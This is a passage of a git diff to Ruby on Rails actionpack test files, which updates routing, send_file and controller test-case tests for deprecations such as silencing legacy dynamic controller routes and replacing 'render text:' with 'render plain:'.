rs.recognize_path("/content/show/10")) @@ -329,23 +323,34 @@ class LegacyRouteSetTests < ActiveSupport::TestCase assert_equal '/stuff', controller.url_for({ :controller => '/stuff', :only_path => true }) end - def test_ignores_leading_slash - rs.clear! - rs.draw { get '/:controller(/:action(/:id))'} - test_default_setup - end - def test_route_with_colon_first rs.draw do - get '/:controller/:action/:id', :action => 'index', :id => nil - get ':url', :controller => 'tiny_url', :action => 'translate' + ActiveSupport::Deprecation.silence do + get '/:controller/:action/:id', action: 'index', id: nil + end + + get ':url', controller: 'content', action: 'translate' end + + assert_equal({controller: 'content', action: 'translate', url: 'example'}, rs.recognize_path('/example')) + end + + def test_route_with_regexp_for_action + rs.draw { ActiveSupport::Deprecation.silence { get '/:controller/:action', action: /auth[-|_].+/ } } + + assert_equal({ action: 'auth_google', controller: 'content' }, rs.recognize_path('/content/auth_google')) + assert_equal({ action: 'auth-facebook', controller: 'content' }, rs.recognize_path('/content/auth-facebook')) + + assert_equal '/content/auth_google', url_for(rs, { controller: "content", action: "auth_google" }) + assert_equal '/content/auth-facebook', url_for(rs, { controller: "content", action: "auth-facebook" }) end def test_route_with_regexp_for_controller rs.draw do - get ':controller/:admintoken(/:action(/:id))', :controller => /admin\/.+/ - get '/:controller(/:action(/:id))' + ActiveSupport::Deprecation.silence do + get ':controller/:admintoken(/:action(/:id))', :controller => /admin\/.+/ + get '/:controller(/:action(/:id))' + end end assert_equal({:controller => "admin/user", :admintoken => "foo", :action => "index"}, @@ -359,7 +364,9 @@ class LegacyRouteSetTests < ActiveSupport::TestCase def test_route_with_regexp_and_captures_for_controller rs.draw do - get '/:controller(/:action(/:id))', :controller => /admin\/(accounts|users)/ + ActiveSupport::Deprecation.silence do + get '/:controller(/:action(/:id))', :controller => /admin\/(accounts|users)/ + end end assert_equal({:controller => "admin/accounts", :action => "index"}, rs.recognize_path("/admin/accounts")) assert_equal({:controller => "admin/users", :action => "index"}, rs.recognize_path("/admin/users")) @@ -368,11 +375,13 @@ class LegacyRouteSetTests < ActiveSupport::TestCase def test_route_with_regexp_and_dot rs.draw do - get ':controller/:action/:file', - :controller => /admin|user/, - :action => /upload|download/, - :defaults => {:file => nil}, - :constraints => {:file => %r{[^/]+(\.[^/]+)?}} + ActiveSupport::Deprecation.silence do + get ':controller/:action/:file', + :controller => /admin|user/, + :action => /upload|download/, + :defaults => {:file => nil}, + :constraints => {:file => %r{[^/]+(\.[^/]+)?}} + end end # Without a file extension assert_equal '/user/download/file', @@ -459,7 +468,9 @@ class LegacyRouteSetTests < ActiveSupport::TestCase def test_named_route_without_hash rs.draw do - get ':controller/:action/:id', :as => 'normal' + ActiveSupport::Deprecation.silence do + get ':controller/:action/:id', :as => 'normal' + end end end @@ -511,7 +522,10 @@ class LegacyRouteSetTests < ActiveSupport::TestCase rs.draw do get 'page/:year/:month/:day/:title' => 'page#show', :as => 'article', :year => /\d+/, :month => /\d+/, :day => /\d+/ - get ':controller/:action/:id' + + ActiveSupport::Deprecation.silence do + get ':controller/:action/:id' + end end routes = setup_for_named_route @@ -521,7 +535,7 @@ class LegacyRouteSetTests < ActiveSupport::TestCase end def test_changing_controller - rs.draw { get ':controller/:action/:id' } + rs.draw { ActiveSupport::Deprecation.silence { get ':controller/:action/:id' } } get URI('http://test.host/admin/user/index/10') @@ -532,7 +546,10 @@ class LegacyRouteSetTests < ActiveSupport::TestCase def test_paths_escaped rs.draw do get 'file/*path' => 'content#show_file', :as => 'path' - get ':controller/:action/:id' + + ActiveSupport::Deprecation.silence do + get ':controller/:action/:id' + end end # No + to space in URI escaping, only for query params. @@ -557,7 +574,9 @@ class LegacyRouteSetTests < ActiveSupport::TestCase def test_non_controllers_cannot_be_matched rs.draw do - get ':controller/:action/:id' + ActiveSupport::Deprecation.silence do + get ':controller/:action/:id' + end end assert_raise(ActionController::RoutingError) { rs.recognize_path("/not_a/show/10") } end @@ -595,8 +614,10 @@ class LegacyRouteSetTests < ActiveSupport::TestCase def test_backwards rs.draw do - get 'page/:id(/:action)' => 'pages#show' - get ':controller(/:action(/:id))' + ActiveSupport::Deprecation.silence do + get 'page/:id(/:action)' => 'pages#show' + get ':controller(/:action(/:id))' + end end get URI('http://test.host/pages/show') @@ -608,7 +629,10 @@ class LegacyRouteSetTests < ActiveSupport::TestCase def test_route_with_fixnum_default rs.draw do get 'page(/:id)' => 'content#show_page', :id => 1 - get ':controller/:action/:id' + + ActiveSupport::Deprecation.silence do + get ':controller/:action/:id' + end end assert_equal '/page', url_for(rs, { :controller => 'content', :action => 'show_page' }) @@ -625,7 +649,10 @@ class LegacyRouteSetTests < ActiveSupport::TestCase def test_route_with_text_default rs.draw do get 'page/:id' => 'content#show_page', :id => 1 - get ':controller/:action/:id' + + ActiveSupport::Deprecation.silence do + get ':controller/:action/:id' + end end assert_equal '/page/foo', url_for(rs, { :controller => 'content', :action => 'show_page', :id => 'foo' }) @@ -640,7 +667,7 @@ class LegacyRouteSetTests < ActiveSupport::TestCase end def test_action_expiry - rs.draw { get ':controller(/:action(/:id))' } + rs.draw { ActiveSupport::Deprecation.silence { get ':controller(/:action(/:id))' } } get URI('http://test.host/content/show') assert_equal '/content', controller.url_for(:controller => 'content', :only_path => true) end @@ -663,7 +690,10 @@ class LegacyRouteSetTests < ActiveSupport::TestCase :defaults => { :year => nil }, :constraints => { :year => /\d{4}/ } ) - get ':controller/:action/:id' + + ActiveSupport::Deprecation.silence do + get ':controller/:action/:id' + end end assert_equal '/test', url_for(rs, { :controller => 'post', :action => 'show' }) @@ -675,7 +705,10 @@ class LegacyRouteSetTests < ActiveSupport::TestCase def test_set_to_nil_forgets rs.draw do get 'pages(/:year(/:month(/:day)))' => 'content#list_pages', :month => nil, :day => nil - get ':controller/:action/:id' + + ActiveSupport::Deprecation.silence do + get ':controller/:action/:id' + end end assert_equal '/pages/2005', @@ -722,7 +755,10 @@ class LegacyRouteSetTests < ActiveSupport::TestCase def test_named_route_method rs.draw do get 'categories' => 'content#categories', :as => 'categories' - get ':controller(/:action(/:id))' + + ActiveSupport::Deprecation.silence do + get ':controller(/:action(/:id))' + end end assert_equal '/categories', url_for(rs, { :controller => 'content', :action => 'categories' }) @@ -738,7 +774,10 @@ class LegacyRouteSetTests < ActiveSupport::TestCase rs.draw do get 'journal' => 'content#list_journal', :date => nil, :user_id => nil - get ':controller/:action/:id' + + ActiveSupport::Deprecation.silence do + get ':controller/:action/:id' + end end assert_equal '/journal', url_for(rs, { @@ -778,10 +817,12 @@ class LegacyRouteSetTests < ActiveSupport::TestCase def test_subpath_recognized rs.draw do - get '/books/:id/edit' => 'subpath_books#edit' - get '/items/:id/:action' => 'subpath_books' - get '/posts/new/:action' => 'subpath_books' - get '/posts/:id' => 'subpath_books#show' + ActiveSupport::Deprecation.silence do + get '/books/:id/edit' => 'subpath_books#edit' + get '/items/:id/:action' => 'subpath_books' + get '/posts/new/:action' => 'subpath_books' + get '/posts/:id' => 'subpath_books#show' + end end hash = rs.recognize_path "/books/17/edit" @@ -803,9 +844,11 @@ class LegacyRouteSetTests < ActiveSupport::TestCase def test_subpath_generated rs.draw do - get '/books/:id/edit' => 'subpath_books#edit' - get '/items/:id/:action' => 'subpath_books' - get '/posts/new/:action' => 'subpath_books' + ActiveSupport::Deprecation.silence do + get '/books/:id/edit' => 'subpath_books#edit' + get '/items/:id/:action' => 'subpath_books' + get '/posts/new/:action' => 'subpath_books' + end end assert_equal "/books/7/edit", url_for(rs, { :controller => "subpath_books", :id => 7, :action => "edit" }) @@ -829,8 +872,11 @@ class LegacyRouteSetTests < ActiveSupport::TestCase get 'ca' => 'ca#aa' get 'cb' => 'cb#ab' get 'cc' => 'cc#ac' - get ':controller/:action/:id' - get ':controller/:action/:id.:format' + + ActiveSupport::Deprecation.silence do + get ':controller/:action/:id' + get ':controller/:action/:id.:format' + end end hash = rs.recognize_path "/cc" @@ -841,8 +887,11 @@ class LegacyRouteSetTests < ActiveSupport::TestCase rs.draw do get 'cb' => 'cb#ab' get 'cc' => 'cc#ac' - get ':controller/:action/:id' - get ':controller/:action/:id.:format' + + ActiveSupport::Deprecation.silence do + get ':controller/:action/:id' + get ':controller/:action/:id.:format' + end end hash = rs.recognize_path "/cc" @@ -871,31 +920,36 @@ class RouteSetTest < ActiveSupport::TestCase def default_route_set @default_route_set ||= begin - set = ROUTING::RouteSet.new + set = ActionDispatch::Routing::RouteSet.new set.draw do - get '/:controller(/:action(/:id))' + + ActiveSupport::Deprecation.silence do + get '/:controller(/:action(/:id))' + end end set end end def test_generate_extras - set.draw { get ':controller/(:action(/:id))' } + set.draw { ActiveSupport::Deprecation.silence { get ':controller/(:action(/:id))' } } path, extras = set.generate_extras(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world") assert_equal "/foo/bar/15", path assert_equal %w(that this), extras.map(&:to_s).sort end def test_extra_keys - set.draw { get ':controller/:action/:id' } + set.draw { ActiveSupport::Deprecation.silence { get ':controller/:action/:id' } } extras = set.extra_keys(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world") assert_equal %w(that this), extras.map(&:to_s).sort end def test_generate_extras_not_first set.draw do - get ':controller/:action/:id.:format' - get ':controller/:action/:id' + ActiveSupport::Deprecation.silence do + get ':controller/:action/:id.:format' + get ':controller/:action/:id' + end end path, extras = set.generate_extras(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world") assert_equal "/foo/bar/15", path @@ -904,8 +958,10 @@ class RouteSetTest < ActiveSupport::TestCase def test_generate_not_first set.draw do - get ':controller/:action/:id.:format' - get ':controller/:action/:id' + ActiveSupport::Deprecation.silence do + get ':controller/:action/:id.:format' + get ':controller/:action/:id' + end end assert_equal "/foo/bar/15?this=hello", url_for(set, { :controller => "foo", :action => "bar", :id => 15, :this => "hello" }) @@ -913,8 +969,10 @@ class RouteSetTest < ActiveSupport::TestCase def test_extra_keys_not_first set.draw do - get ':controller/:action/:id.:format' - get ':controller/:action/:id' + ActiveSupport::Deprecation.silence do + get ':controller/:action/:id.:format' + get ':controller/:action/:id' + end end extras = set.extra_keys(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world") assert_equal %w(that this), extras.map(&:to_s).sort @@ -1046,7 +1104,9 @@ class RouteSetTest < ActiveSupport::TestCase def test_draw_default_route set.draw do - get '/:controller/:action/:id' + ActiveSupport::Deprecation.silence do + get ':controller/:action/:id' + end end assert_equal 1, set.routes.size @@ -1061,7 +1121,10 @@ class RouteSetTest < ActiveSupport::TestCase def test_route_with_parameter_shell set.draw do get 'page/:id' => 'pages#show', :id => /\d+/ - get '/:controller(/:action(/:id))' + + ActiveSupport::Deprecation.silence do + get '/:controller(/:action(/:id))' + end end assert_equal({:controller => 'pages', :action => 'index'}, request_path_params('/pages')) @@ -1316,7 +1379,9 @@ class RouteSetTest < ActiveSupport::TestCase @set = make_set false set.draw do - get ':controller/:id/:action' + ActiveSupport::Deprecation.silence do + get ':controller/:id/:action' + end end get URI('http://test.host/people/7/show') @@ -1329,7 +1394,10 @@ class RouteSetTest < ActiveSupport::TestCase set.draw do get 'about' => "welcome#about" - get ':controller/:action/:id' + + ActiveSupport::Deprecation.silence do + get ':controller/:id/:action' + end end get URI('http://test.host/welcom/get/7') @@ -1340,7 +1408,7 @@ class RouteSetTest < ActiveSupport::TestCase end def test_generate - set.draw { get ':controller/:action/:id' } + set.draw { ActiveSupport::Deprecation.silence { get ':controller/:action/:id' } } args = { :controller => "foo", :action => "bar", :id => "7", :x => "y" } assert_equal "/foo/bar/7?x=y", url_for(set, args) @@ -1351,7 +1419,9 @@ class RouteSetTest < ActiveSupport::TestCase def test_generate_with_path_prefix set.draw do scope "my" do - get ':controller(/:action(/:id))' + ActiveSupport::Deprecation.silence do + get ':controller(/:action(/:id))' + end end end @@ -1362,7 +1432,9 @@ class RouteSetTest < ActiveSupport::TestCase def test_generate_with_blank_path_prefix set.draw do scope "" do - get ':controller(/:action(/:id))' + ActiveSupport::Deprecation.silence do + get ':controller(/:action(/:id))' + end end end @@ -1374,9 +1446,11 @@ class RouteSetTest < ActiveSupport::TestCase @set = make_set false set.draw do - get "/connection/manage(/:action)" => 'connection/manage#index' - get "/connection/connection" => "connection/connection#index" - get '/connection' => 'connection#index', :as => 'family_connection' + ActiveSupport::Deprecation.silence do + get "/connection/manage(/:action)" => 'connection/manage#index' + get "/connection/connection" => "connection/connection#index" + get '/connection' => 'connection#index', :as => 'family_connection' + end end assert_equal({ :controller => 'connection/manage', @@ -1394,7 +1468,9 @@ class RouteSetTest < ActiveSupport::TestCase @set = make_set false set.draw do - get ':controller(/:action(/:id))' + ActiveSupport::Deprecation.silence do + get ':controller(/:action(/:id))' + end end get URI('http://test.host/books/show/10') @@ -1409,7 +1485,10 @@ class RouteSetTest < ActiveSupport::TestCase set.draw do get 'show_weblog/:parameter' => 'weblog#show' - get ':controller(/:action(/:id))' + + ActiveSupport::Deprecation.silence do + get ':controller(/:action(/:id))' + end end get URI('http://test.host/weblog/show/1') @@ -1437,7 +1516,7 @@ class RouteSetTest < ActiveSupport::TestCase def test_expiry_determination_should_consider_values_with_to_param @set = make_set false - set.draw { get 'projects/:project_id/:controller/:action' } + set.draw { ActiveSupport::Deprecation.silence { get 'projects/:project_id/:controller/:action' } } get URI('http://test.host/projects/1/weblog/show') @@ -1614,7 +1693,9 @@ class RouteSetTest < ActiveSupport::TestCase def test_assign_route_options_with_anchor_chars set.draw do - get '/cars/:action/:person/:car/', :controller => 'cars' + ActiveSupport::Deprecation.silence do + get '/cars/:action/:person/:car/', :controller => 'cars' + end end assert_equal '/cars/buy/1/2', url_for(set, { :controller => 'cars', :action => 'buy', :person => '1', :car => '2' }) @@ -1624,7 +1705,9 @@ class RouteSetTest < ActiveSupport::TestCase def test_segmentation_of_dot_path set.draw do - get '/books/:action.rss', :controller => 'books' + ActiveSupport::Deprecation.silence do + get '/books/:action.rss', :controller => 'books' + end end assert_equal '/books/list.rss', url_for(set, { :controller => 'books', :action => 'list' }) @@ -1634,7 +1717,9 @@ class RouteSetTest < ActiveSupport::TestCase def test_segmentation_of_dynamic_dot_path set.draw do - get '/books(/:action(.:format))', :controller => 'books' + ActiveSupport::Deprecation.silence do + get '/books(/:action(.:format))', :controller => 'books' + end end assert_equal '/books/list.rss', url_for(set, { :controller => 'books', :action => 'list', :format => 'rss' }) @@ -1649,7 +1734,7 @@ class RouteSetTest < ActiveSupport::TestCase end def test_slashes_are_implied - set.draw { get("/:controller(/:action(/:id))") } + set.draw { ActiveSupport::Deprecation.silence { get("/:controller(/:action(/:id))") } } assert_equal '/content', url_for(set, { :controller => 'content', :action => 'index' }) assert_equal '/content/list', url_for(set, { :controller => 'content', :action => 'list' }) @@ -1740,7 +1825,9 @@ class RouteSetTest < ActiveSupport::TestCase :constraints => { :page => /\d+/ }, :defaults => { :page => 1 } - get ':controller/:action/:id' + ActiveSupport::Deprecation.silence do + get ':controller/:action/:id' + end end assert_equal '/ibocorp', url_for(set, { :controller => 'ibocorp', :action => "show", :page => 1 }) @@ -1748,40 +1835,10 @@ class RouteSetTest < ActiveSupport::TestCase include ActionDispatch::RoutingVerbs - class TestSet < ROUTING::RouteSet - def initialize(block) - @block = block - super() - end - - class Dispatcher < ROUTING::RouteSet::Dispatcher - def initialize(defaults, set, block) - super(defaults) - @block = block - @set = set - end - - def controller_reference(controller_param) - block = @block - set = @set - Class.new(ActionController::Base) { - include set.url_helpers - define_method(:process) { |name| block.call(self) } - def to_a; [200, {}, []]; end - } - end - end - - def dispatcher defaults - TestSet::Dispatcher.new defaults, self, @block - end - end - alias :routes :set def test_generate_with_optional_params_recalls_last_request - controller = nil - @set = TestSet.new ->(c) { controller = c } + @set = make_set false set.draw do get "blog/", :controller => "blog", :action => "index" @@ -1793,7 +1850,11 @@ class RouteSetTest < ActiveSupport::TestCase :day => nil, :month => nil get "blog/show/:id", :controller => "blog", :action => "show", :id => /\d+/ - get "blog/:controller/:action(/:id)" + + ActiveSupport::Deprecation.silence do + get "blog/:controller/:action(/:id)" + end + get "*anything", :controller => "blog", :action => "unknown_request" end @@ -1882,13 +1943,20 @@ class RackMountIntegrationTests < ActiveSupport::TestCase get 'news(.:format)' => "news#index" - get 'comment/:id(/:action)' => "comments#show" - get 'ws/:controller(/:action(/:id))', :ws => true - get 'account(/:action)' => "account#subscription" - get 'pages/:page_id/:controller(/:action(/:id))' - get ':controller/ping', :action => 'ping' + ActiveSupport::Deprecation.silence do + get 'comment/:id(/:action)' => "comments#show" + get 'ws/:controller(/:action(/:id))', :ws => true + get 'account(/:action)' => "account#subscription" + get 'pages/:page_id/:controller(/:action(/:id))' + get ':controller/ping', :action => 'ping' + end + get 'ã“ã‚“ã«ã¡ã¯/世界', :controller => 'news', :action => 'index' - match ':controller(/:action(/:id))(.:format)', :via => :all + + ActiveSupport::Deprecation.silence do + match ':controller(/:action(/:id))(.:format)', :via => :all + end + root :to => "news#index" } @@ -1996,11 +2064,11 @@ class RackMountIntegrationTests < ActiveSupport::TestCase def test_extras params = {:controller => 'people'} assert_equal [], @routes.extra_keys(params) - assert_equal({:controller => 'people'}, params) + assert_equal({:controller => 'people', :action => 'index'}, params) params = {:controller => 'people', :foo => 'bar'} assert_equal [:foo], @routes.extra_keys(params) - assert_equal({:controller => 'people', :foo => 'bar'}, params) + assert_equal({:controller => 'people', :action => 'index', :foo => 'bar'}, params) params = {:controller => 'people', :action => 'create', :person => { :name => 'Josh'}} assert_equal [:person], @routes.extra_keys(params) diff --git a/actionpack/test/controller/send_file_test.rb b/actionpack/test/controller/send_file_test.rb index 36c57ec9b2..2820425c31 100644 --- a/actionpack/test/controller/send_file_test.rb +++ b/actionpack/test/controller/send_file_test.rb @@ -20,6 +20,47 @@ class SendFileController < ActionController::Base send_file(file_path, options) end + def test_send_file_headers_bang + options = { + :type => Mime[:png], + :disposition => 'disposition', + :filename => 'filename' + } + + send_data "foo", options + end + + def test_send_file_headers_with_disposition_as_a_symbol + options = { + :type => Mime[:png], + :disposition => :disposition, + :filename => 'filename' + } + + send_data "foo", options + end + + def test_send_file_headers_with_mime_lookup_with_symbol + options = { :type => :png } + + send_data "foo", options + end + + def test_send_file_headers_with_bad_symbol + options = { :type => :this_type_is_not_registered } + send_data "foo", options + end + + def test_send_file_headers_with_nil_content_type + options = { :type => nil } + send_data "foo", options + end + + def test_send_file_headers_guess_type_from_extension + options = { :filename => params[:filename] } + send_data "foo", options + end + def data send_data(file_data, options) end @@ -34,8 +75,6 @@ class SendFileTest < ActionController::TestCase def setup @controller = SendFileController.new - @request = ActionController::TestRequest.new - @response = ActionController::TestResponse.new end def test_file_nostream @@ -90,62 +129,39 @@ class SendFileTest < ActionController::TestCase # Test that send_file_headers! is setting the correct HTTP headers. def test_send_file_headers_bang - options = { - :type => Mime::PNG, - :disposition => 'disposition', - :filename => 'filename' - } - # Do it a few times: the resulting headers should be identical # no matter how many times you send with the same options. # Test resolving Ticket #458. - @controller.headers = {} - @controller.send(:send_file_headers!, options) - @controller.send(:send_file_headers!, options) - @controller.send(:send_file_headers!, options) + 5.times do + get :test_send_file_headers_bang - h = @controller.headers - assert_equal 'image/png', @controller.content_type - assert_equal 'disposition; filename="filename"', h['Content-Disposition'] - assert_equal 'binary', h['Content-Transfer-Encoding'] - - # test overriding Cache-Control: no-cache header to fix IE open/save dialog - @controller.send(:send_file_headers!, options) - @controller.response.prepare! - assert_equal 'private', h['Cache-Control'] + assert_equal 'image/png', response.content_type + assert_equal 'disposition; filename="filename"', response.get_header('Content-Disposition') + assert_equal 'binary', response.get_header('Content-Transfer-Encoding') + assert_equal 'private', response.get_header('Cache-Control') + end end def test_send_file_headers_with_disposition_as_a_symbol - options = { - :type => Mime::PNG, - :disposition => :disposition, - :filename => 'filename' - } + get :test_send_file_headers_with_disposition_as_a_symbol - @controller.headers = {} - @controller.send(:send_file_headers!, options) - assert_equal 'disposition; filename="filename"', @controller.headers['Content-Disposition'] + assert_equal 'disposition; filename="filename"', response.get_header('Content-Disposition') end def test_send_file_headers_with_mime_lookup_with_symbol - options = { - :type => :png - } - - @controller.headers = {} - @controller.send(:send_file_headers!, options) - - assert_equal 'image/png', @controller.content_type + get __method__ + assert_equal 'image/png', response.content_type end def test_send_file_headers_with_bad_symbol - options = { - :type => :this_type_is_not_registered - } + error = assert_raise(ArgumentError) { get __method__ } + assert_equal "Unknown MIME type this_type_is_not_registered", error.message + end - @controller.headers = {} - assert_raise(ArgumentError) { @controller.send(:send_file_headers!, options) } + def test_send_file_headers_with_nil_content_type + error = assert_raise(ArgumentError) { get __method__ } + assert_equal ":type option required", error.message end def test_send_file_headers_guess_type_from_extension @@ -160,10 +176,8 @@ class SendFileTest < ActionController::TestCase 'file.unk' => 'application/octet-stream', 'zip' => 'application/octet-stream' }.each do |filename,expected_type| - options = { :filename => filename } - @controller.headers = {} - @controller.send(:send_file_headers!, options) - assert_equal expected_type, @controller.content_type + get __method__, params: { filename: filename } + assert_equal expected_type, response.content_type end end @@ -181,7 +195,7 @@ class SendFileTest < ActionController::TestCase %w(file data).each do |method| define_method "test_send_#{method}_status" do @controller.options = { :stream => false, :status => 500 } - assert_nothing_raised { assert_not_nil process(method) } + assert_not_nil process(method) assert_equal 500, @response.status end diff --git a/actionpack/test/controller/show_exceptions_test.rb b/actionpack/test/controller/show_exceptions_test.rb index fba5ebba15..786dc15444 100644 --- a/actionpack/test/controller/show_exceptions_test.rb +++ b/actionpack/test/controller/show_exceptions_test.rb @@ -75,7 +75,7 @@ module ShowExceptions get "/", headers: { 'HTTP_ACCEPT' => 'application/json' } assert_response :internal_server_error assert_equal 'application/json', response.content_type.to_s - assert_equal({ :status => '500', :error => 'Internal Server Error' }.to_json, response.body) + assert_equal({ :status => 500, :error => 'Internal Server Error' }.to_json, response.body) end def test_render_xml_exception @@ -83,7 +83,7 @@ module ShowExceptions get "/", headers: { 'HTTP_ACCEPT' => 'application/xml' } assert_response :internal_server_error assert_equal 'application/xml', response.content_type.to_s - assert_equal({ :status => '500', :error => 'Internal Server Error' }.to_xml, response.body) + assert_equal({ :status => 500, :error => 'Internal Server Error' }.to_xml, response.body) end def test_render_fallback_exception diff --git a/actionpack/test/controller/test_case_test.rb b/actionpack/test/controller/test_case_test.rb index e348749f78..ebcdda6074 100644 --- a/actionpack/test/controller/test_case_test.rb +++ b/actionpack/test/controller/test_case_test.rb @@ -4,72 +4,82 @@ require 'active_support/json/decoding' require 'rails/engine' class TestCaseTest < ActionController::TestCase + def self.fixture_path; end; + class TestController < ActionController::Base def no_op - render text: 'dummy' + render plain: 'dummy' end def set_flash flash["test"] = ">#{flash["test"]}<" - render text: 'ignore me' + render plain: 'ignore me' end def delete_flash flash.delete("test") - render :text => 'ignore me' + render plain: 'ignore me' end def set_flash_now flash.now["test_now"] = ">#{flash["test_now"]}<" - render text: 'ignore me' + render plain: 'ignore me' end def set_session session['string'] = 'A wonder' session[:symbol] = 'it works' - render text: 'Success' + render plain: 'Success' end def reset_the_session reset_session - render text: 'ignore me' + render plain: 'ignore me' end def render_raw_post raise ActiveSupport::TestCase::Assertion, "#raw_post is blank" if request.raw_post.blank? - render text: request.raw_post + render plain: request.raw_post end def render_body - render text: request.body.read + render plain: request.body.read end def test_params - render text: params.inspect + render plain: ::JSON.dump(params.to_unsafe_h) + end + + def test_query_parameters + render plain: ::JSON.dump(request.query_parameters) + end + + def test_request_parameters + render plain: request.request_parameters.inspect end def test_uri - render text: request.fullpath + render plain: request.fullpath end def test_format - render text: request.format + render plain: request.format end def test_query_string - render text: request.query_string + render plain: request.query_string end def test_protocol - render text: request.protocol + render plain: request.protocol end def test_headers - render text: request.headers.env.to_json + render plain: ::JSON.dump(request.headers.env) end def test_html_output - render text: <<HTML + render plain: <<HTML <html> <body> <a href="/"><img src="/images/button.png" /></a> @@ -91,7 +101,7 @@ HTML def test_xml_output response.content_type = "application/xml" - render text: <<XML + render plain: <<XML <?xml version="1.0" encoding="UTF-8"?> <root> <area>area is an empty tag in HTML, raising an error if not in xml mode</area> @@ -100,15 +110,15 @@ XML end def test_only_one_param - render text: (params[:left] && params[:right]) ? "EEP, Both here!" : "OK" + render plain: (params[:left] && params[:right]) ? "EEP, Both here!" : "OK" end def test_remote_addr - render text: (request.remote_addr || "not specified") + render plain: (request.remote_addr || "not specified") end def test_file_upload - render text: params[:file].size + render plain: params[:file].size end def test_send_file @@ -127,15 +137,13 @@ XML head :created, location: 'created resource' end - def delete_cookie - cookies.delete("foo") - render nothing: true + def render_cookie + render plain: cookies["foo"] end - def test_assigns - @foo = "foo" - @foo_hash = { foo: :bar } - render nothing: true + def delete_cookie + cookies.delete("foo") + render plain: 'ok' end def test_without_body @@ -156,32 +164,21 @@ XML def setup super @controller = TestController.new - @request = ActionController::TestRequest.new - @response = ActionController::TestResponse.new - @request.env['PATH_INFO'] = nil + @request.delete_header 'PATH_INFO' @routes = ActionDispatch::Routing::RouteSet.new.tap do |r| r.draw do - get ':controller(/:action(/:id))' + ActiveSupport::Deprecation.silence do + get ':controller(/:action(/:id))' + end end end end - class ViewAssignsController < ActionController::Base - def test_assigns - @foo = "foo" - render nothing: true - end - - def view_assigns - { "bar" => "bar" } - end - end - class DefaultUrlOptionsCachingController < ActionController::Base before_action { @dynamic_opt = 'opt' } def test_url_options_reset - render text: url_for(params) + render plain: url_for end def default_url_options @@ -238,7 +235,7 @@ XML def test_document_body_and_params_with_post post :test_params, params: { id: 1 } - assert_equal(%({"id"=>"1", "controller"=>"test_case_test/test", "action"=>"test_params"}), @response.body) + assert_equal({"id"=>"1", "controller"=>"test_case_test/test", "action"=>"test_params"}, ::JSON.parse(@response.body)) end def test_document_body_with_post @@ -438,30 +435,6 @@ XML assert_equal "OK", @response.body end - def test_assigns - process :test_assigns - # assigns can be accessed using assigns(key) - # or assigns[key], where key is a string or - # a symbol - assert_equal "foo", assigns(:foo) - assert_equal "foo", assigns("foo") - assert_equal "foo", assigns[:foo] - assert_equal "foo", assigns["foo"] - - # but the assigned variable should not have its own keys stringified - expected_hash = { foo: :bar } - assert_equal expected_hash, assigns(:foo_hash) - end - - def test_view_assigns - @controller = ViewAssignsController.new - process :test_assigns - assert_equal nil, assigns(:foo) - assert_equal nil, assigns[:foo] - assert_equal "bar", assigns(:bar) - assert_equal "bar", assigns[:bar] - end - def test_should_not_impose_childless_html_tags_in_xml process :test_xml_output @@ -518,7 +491,7 @@ XML assert_deprecated { get :test_params, page: { name: "Page name", month: '4', year: '2004', day: '6' } } - parsed_params = eval(@response.body) + parsed_params = ::JSON.parse(@response.body) assert_equal( { 'controller' => 'test_case_test/test', 'action' => 'test_params', @@ -537,7 +510,7 @@ XML day: '6' } } - parsed_params = eval(@response.body) + parsed_params = ::JSON.parse(@response.body) assert_equal( { 'controller' => 'test_case_test/test', 'action' => 'test_params', @@ -547,6 +520,18 @@ XML ) end + def test_query_param_named_action + get :test_query_parameters, params: {action: 'foobar'} + parsed_params = JSON.parse(@response.body) + assert_equal({'action' => 'foobar'}, parsed_params) + end + + def test_request_param_named_action + post :test_request_parameters, params: {action: 'foobar'} + parsed_params = eval(@response.body) + assert_equal({'action' => 'foobar'}, parsed_params) + end + def test_kwarg_params_passing_with_session_and_flash get :test_params, params: { page: { @@ -557,7 +542,7 @@ XML } }, session: { 'foo' => 'bar' }, flash: { notice: 'created' } - parsed_params = eval(@response.body) + parsed_params = ::JSON.parse(@response.body) assert_equal( {'controller' => 'test_case_test/test', 'action' => 'test_params', 'page' => {'name' => "Page name", 'month' => '4', 'year' => '2004', 'day' => '6'}}, @@ -572,7 +557,7 @@ XML get :test_params, params: { page: { name: "Page name", month: 4, year: 2004, day: 6 } } - parsed_params = eval(@response.body) + parsed_params = ::JSON.parse(@response.body) assert_equal( {'controller' => 'test_case_test/test', 'action' => 'test_params', 'page' => {'name' => "Page name", 'month' => '4', 'year' => '2004', 'day' => '6'}}, @@ -582,17 +567,17 @@ XML def test_params_passing_with_fixnums_when_not_html_request get :test_params, params: { format: 'json', count: 999 } - parsed_params = eval(@response.body) + parsed_params = ::JSON.parse(@response.body) assert_equal( {'controller' => 'test_case_test/test', 'action' => 'test_params', - 'format' => 'json', 'count' => 999 }, + 'format' => 'json', 'count' => '999' }, parsed_params ) end def test_params_passing_path_parameter_is_string_when_not_html_request get :test_params, params: { format: 'json', id: 1 } - parsed_params = eval(@response.body) + parsed_params = ::JSON.parse(@response.body) assert_equal( {'controller' => 'test_case_test/test', 'action' => 'test_params', 'format' => 'json', 'id' => '1' }, @@ -602,7 +587,7 @@ XML def test_deprecated_params_passing_path_parameter_is_string_when_not_html_request assert_deprecated { get :test_params, format: 'json', id: 1 } - parsed_params = eval(@response.body) + parsed_params = ::JSON.parse(@response.body) assert_equal( {'controller' => 'test_case_test/test', 'action' => 'test_params', 'format' => 'json', 'id' => '1' }, @@ -616,7 +601,7 @@ XML frozen: 'icy'.freeze, frozens: ['icy'.freeze].freeze, deepfreeze: { frozen: 'icy'.freeze }.freeze } end - parsed_params = eval(@response.body) + parsed_params = ::JSON.parse(@response.body) assert_equal( {'controller' => 'test_case_test/test', 'action' => 'test_params', 'frozen' => 'icy', 'frozens' => ['icy'], 'deepfreeze' => { 'frozen' => 'icy' }}, @@ -648,6 +633,31 @@ XML assert_equal "application/json", parsed_env["CONTENT_TYPE"] end + def test_mutating_content_type_headers_for_plain_text_files_sets_the_header + @request.headers['Content-Type'] = 'text/plain' + post :render_body, params: { name: 'foo.txt' } + + assert_equal 'text/plain', @request.headers['Content-type'] + assert_equal 'foo.txt', @request.request_parameters[:name] + assert_equal 'render_body', @request.path_parameters[:action] + end + + def test_mutating_content_type_headers_for_html_files_sets_the_header + @request.headers['Content-Type'] = 'text/html' + post :render_body, params: { name: 'foo.html' } + + 